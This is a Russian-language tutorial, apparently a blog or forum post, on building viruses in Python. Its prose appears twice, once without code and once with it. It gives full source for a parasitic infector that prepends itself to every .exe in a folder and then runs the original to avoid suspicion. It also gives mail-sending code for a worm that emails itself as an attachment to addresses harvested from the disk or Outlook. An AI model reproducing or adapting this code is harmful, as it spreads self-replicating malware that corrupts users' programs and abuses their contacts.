Ни для кого не секрет, что Python помогает решать множество рутинных задач: периодическое резервное копирование файлов, отправка писем по e-mail, поиск и выполнение массы действий с файлами на харде и прочее. По причине того, что Python является языком программирования высокого уровня и сложен в освоении, то и уровень вирусов которые мы можем написать высокий. Вырусы, написанные с помощью ЯВУ, чаще всего классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют несколько главных подвидов HLLx-вирусов:
Вирусы-компаньоны более доброжелательны к тем файлам, которые они «заражают». Слово «заражают» взято в кавычки не просто так, ибо, на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный exe-шник переименовывают или шифруют во что-нибудь иное. Так они подменяют пользовательский софт своими копиями, после чего запускают оригинальную программу из файла с новым именем. И юзер ничего не заметил, и вирус остался целым и невредимым. HLLP являются самыми сложными из ЯВУ-вирусов. Они проникают напрямую в файл-жертву, но при этом сохраняют работоспособность его кода. Из-за некоторых сложностей высокоуровневых языков программирования полноценного заражения, как у «взрослых» вирусов написанных на ассемблере, добиться почти нереально. Поэтому паразиты получаются не самыми эстетическими, но, к нашему разачарованию, это максимум того, что можно получить из ЯВУ.
По той причине, что как HLLO-, так и HLLC-вирусы слишком однобоки и на практике не встречаются нигде, мы рассмотрим разработку зловреда-паразита. Основной принцип, который они используют для заражения — внедрение в один файл с кодом-жертвой.
Так сохраняется код оригинальной программы, и при этом не привлекает лишнего внимания.
Существует масса вариаций на тему HLLP-зловредов, но мы попробуем реализовать простейшую из них. Вирус будет вписывать в начало файла жертвы свое собственное тело — полностью, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. Получается, сперва будет выполняться вирус, который в конце своих делишек запустит оригинальную программу, для того чтобы лишний раз не вызывать подозрения у юзера. Ну а теперь давайте посмотрим на код:
Код HLLP-вируса:
Сначала мы подключаем три модуля: sys, os, shutil. Модуль sys позволяет получить доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Таким образом, мы получаем имя выполняемого скрипта благодаря команде sys.argv[0]. Модуль os дает возможность выполнения команд, которые зависят от операционной системы. Например, получить список файлов в директории, провести определенные операции над ними и так далее. Наконец, модуль shutil позволяет копировать и перемещать файлы на жестком диске.
После импорта нужных нам модулей мы получаем имя файла, в котором содержится исходный код вируса. А при помощи команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке exe-шником.
Если проверка подтверждает этот факт, то заражаем файл который нашли, просто заменив его собой. Внимательный читатель мог заметить, что в условии оператора if присутствует еще вот такая инструкция:
Но сначала выполняется команда
В конце статьи я расскажу что для чего это нужно, а сейчас продолжим. Перед оператором if мы считываем в память собственное содержимое. Достигается это командой fvir. read(19456). Число 19456 — это длина вируса (не забываем, что в файле находится не только вирус, но и жертва). Почему указанна именно такая длина я тоже скажу позже. Далее ищем в текущей папке все exe-шники и инфицируем их. Просто заранее переименовав невинную программку, мы читаем ее код в буфер, после чего создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Дальше сохраним все это и удаляем оригинальный файл жертвы при помощи команды os.remove(name+’tmp’).
А вот сейчас настал самый ответственный момент — наша задача запустить оригинальный код, который мы предварительно засунули внутрь вируса. Для этого мы читаем то, что осталлось от данных из образа вируса (помните? Мы уже читали 19456 байт и указатель сместился в файле на эту позицию?), после этого сохраняем полученные показания во временный exe, который далее запустим. Так наш вирус вирус правильно отработал, и при этом запустил нужную для все еще ничего не подозревающего юзера программу.
Безусловно, наш вирус вышел неидеальным. Для примера, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не самый удобный способ. Более того, у нашего зловреда возникнут проблемы при первом старте, когда в образе находится только тело виря, а тело жертвы отсутствует. Но данные проблемы можно решить, как и любые другие.
Самое основное — показать принцип работы.
Сетевой червь
Мы создали классического инфектора, распространяется который заражая близлежащие программы. Но ведь существуют также и сетевые черви, которые используют интернет для своих мелких пакостей. Зловредам такого типа неинтересна файловая система компьютера, им нужен доступ в сеть.
Для распространения черви используют дыры в ОС и программах, рассылают себя по электронной почте и прочее. Давайте попытаемся сделать вирус, которому нужны будут именно e-mail’ы
Сначала предлагаю посмотреть, как при помощи Python отправлять письма. Маленький пример, от которого мы будем плясать в будущем:
Отправка письма:
На данномтапе мы пользуемся библиотекой smtplib и входящий в нее пакет MIMEText. Код и так слишком простой, поэтому не требует особых разъяснений. Но на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если, внезапно, для отправки сообщения требуется логин и пароль, то нужно будет вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо прикрепить его к письму. Для этого придется импортировать еще несколько вспомогательных библиотек и написать немного кода.
Сейчас покажу как примерно это должно выглядеть:
Отправка письма с вложением:
В импорте у нас появилась библиотека mimetypes, и модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart формирует e-mail из разных видов данных (тексты, пикяи и прочее). MIMEBase работает с файлами произвольного типа — exe. За основу сообщения мы возьмём переменную типа MIMEMultipart и добавим к ней объект MIMEBase, в который до этого считали и декодировали в base64 содержимое файла что нам нужен.
В финале, когда вирус уже сам может отправлять себя в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут вы можете фантазировать как вашей душе угодно. К примеру, всегда можно поискать адреса на харде , просканировав все файлы. Или можно использовать адресную книгу Outlook, но для этлго тебе будет нужен пакет Python Win32 Extensions.
Несколько замечаний
Способные ребята могут сказать: «Питон — это скрипты, а exe — бинари. Как скриптом заразить исполняемый файл Windows?». Ответ очень прост — питоновские скрипты можно конвертировать в exe. Вот так вот, и это очень просто.
Из-за того, что наши зловреды выполняются не как скрипты, а как полноценные win-приложения, в коде присутствует пара непонятных вещей, о которых я пообещал рассказать позже. Первая из них — это вызов os.path.split(). Так вот, если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). Но на примере с exeфайлом результат будет иным — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших действий нам нужно только наименование файла, то мы вызываем os.path.split().
Еще один непонятный момент — это число 19456. Но тут многие из вас уже догадались, что это размер exe, полученного после конвертации скрипта. Мой вирус весил столько после своего перерождения в бинарный формат.
Существуют несколько главных подвидов HLLx-вирусов:
- Оверврайтеры (Overwrite) — HLLO,
- компаньоны (Companion) — HLLC, и
- паразиты (Parasitic) — HLLP.
Вирусы-компаньоны более доброжелательны к тем файлам, которые они «заражают». Слово «заражают» взято в кавычки не просто так, ибо, на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный exe-шник переименовывают или шифруют во что-нибудь иное. Так они подменяют пользовательский софт своими копиями, после чего запускают оригинальную программу из файла с новым именем. И юзер ничего не заметил, и вирус остался целым и невредимым. HLLP являются самыми сложными из ЯВУ-вирусов. Они проникают напрямую в файл-жертву, но при этом сохраняют работоспособность его кода. Из-за некоторых сложностей высокоуровневых языков программирования полноценного заражения, как у «взрослых» вирусов написанных на ассемблере, добиться почти нереально. Поэтому паразиты получаются не самыми эстетическими, но, к нашему разачарованию, это максимум того, что можно получить из ЯВУ.
По той причине, что как HLLO-, так и HLLC-вирусы слишком однобоки и на практике не встречаются нигде, мы рассмотрим разработку зловреда-паразита. Основной принцип, который они используют для заражения — внедрение в один файл с кодом-жертвой.
Так сохраняется код оригинальной программы, и при этом не привлекает лишнего внимания.
Существует масса вариаций на тему HLLP-зловредов, но мы попробуем реализовать простейшую из них. Вирус будет вписывать в начало файла жертвы свое собственное тело — полностью, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. Получается, сперва будет выполняться вирус, который в конце своих делишек запустит оригинальную программу, для того чтобы лишний раз не вызывать подозрения у юзера. Ну а теперь давайте посмотрим на код:
Код HLLP-вируса:
Код:
import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:
os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');
После импорта нужных нам модулей мы получаем имя файла, в котором содержится исходный код вируса. А при помощи команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке exe-шником.
Если проверка подтверждает этот факт, то заражаем файл который нашли, просто заменив его собой. Внимательный читатель мог заметить, что в условии оператора if присутствует еще вот такая инструкция:
Код:
name != virPath[1],
Но сначала выполняется команда
Код:
virPath = os.path.split(sys.argv[0]).
В конце статьи я расскажу что для чего это нужно, а сейчас продолжим. Перед оператором if мы считываем в память собственное содержимое. Достигается это командой fvir. read(19456). Число 19456 — это длина вируса (не забываем, что в файле находится не только вирус, но и жертва). Почему указанна именно такая длина я тоже скажу позже. Далее ищем в текущей папке все exe-шники и инфицируем их. Просто заранее переименовав невинную программку, мы читаем ее код в буфер, после чего создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Дальше сохраним все это и удаляем оригинальный файл жертвы при помощи команды os.remove(name+’tmp’).
А вот сейчас настал самый ответственный момент — наша задача запустить оригинальный код, который мы предварительно засунули внутрь вируса. Для этого мы читаем то, что осталлось от данных из образа вируса (помните? Мы уже читали 19456 байт и указатель сместился в файле на эту позицию?), после этого сохраняем полученные показания во временный exe, который далее запустим. Так наш вирус вирус правильно отработал, и при этом запустил нужную для все еще ничего не подозревающего юзера программу.
Безусловно, наш вирус вышел неидеальным. Для примера, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не самый удобный способ. Более того, у нашего зловреда возникнут проблемы при первом старте, когда в образе находится только тело виря, а тело жертвы отсутствует. Но данные проблемы можно решить, как и любые другие.
Самое основное — показать принцип работы.
Сетевой червь
Мы создали классического инфектора, распространяется который заражая близлежащие программы. Но ведь существуют также и сетевые черви, которые используют интернет для своих мелких пакостей. Зловредам такого типа неинтересна файловая система компьютера, им нужен доступ в сеть.
Для распространения черви используют дыры в ОС и программах, рассылают себя по электронной почте и прочее. Давайте попытаемся сделать вирус, которому нужны будут именно e-mail’ы
Сначала предлагаю посмотреть, как при помощи Python отправлять письма. Маленький пример, от которого мы будем плясать в будущем:
Отправка письма:
Код:
import smtplib
from email.mime.text import MIMEText
msg = MIMEText('Message text')
# me == email отправителя
# you == email получателя
msg['Subject'] = 'Test message'
msg['From'] = me
msg['To'] = you
s = smtplib.SMTP('')
s.sendmail(me, [you], msg.as_string())
s.quit()
На данномтапе мы пользуемся библиотекой smtplib и входящий в нее пакет MIMEText. Код и так слишком простой, поэтому не требует особых разъяснений. Но на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если, внезапно, для отправки сообщения требуется логин и пароль, то нужно будет вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо прикрепить его к письму. Для этого придется импортировать еще несколько вспомогательных библиотек и написать немного кода.
Сейчас покажу как примерно это должно выглядеть:
Отправка письма с вложением:
Код:
import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer['Subject'] = ‘Test message’
outer['From'] = me
outer['To'] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header('Content-Disposition',
'attachment', filename=file_name)
outer.attach(msg)
s = smtplib.SMTP('')
s.sendmail(me, [you], outer.as_string())
s.quit()
В импорте у нас появилась библиотека mimetypes, и модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart формирует e-mail из разных видов данных (тексты, пикяи и прочее). MIMEBase работает с файлами произвольного типа — exe. За основу сообщения мы возьмём переменную типа MIMEMultipart и добавим к ней объект MIMEBase, в который до этого считали и декодировали в base64 содержимое файла что нам нужен.
В финале, когда вирус уже сам может отправлять себя в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут вы можете фантазировать как вашей душе угодно. К примеру, всегда можно поискать адреса на харде , просканировав все файлы. Или можно использовать адресную книгу Outlook, но для этлго тебе будет нужен пакет Python Win32 Extensions.
Несколько замечаний
Способные ребята могут сказать: «Питон — это скрипты, а exe — бинари. Как скриптом заразить исполняемый файл Windows?». Ответ очень прост — питоновские скрипты можно конвертировать в exe. Вот так вот, и это очень просто.
Из-за того, что наши зловреды выполняются не как скрипты, а как полноценные win-приложения, в коде присутствует пара непонятных вещей, о которых я пообещал рассказать позже. Первая из них — это вызов os.path.split(). Так вот, если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). Но на примере с exeфайлом результат будет иным — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших действий нам нужно только наименование файла, то мы вызываем os.path.split().
Еще один непонятный момент — это число 19456. Но тут многие из вас уже догадались, что это размер exe, полученного после конвертации скрипта. Мой вирус весил столько после своего перерождения в бинарный формат.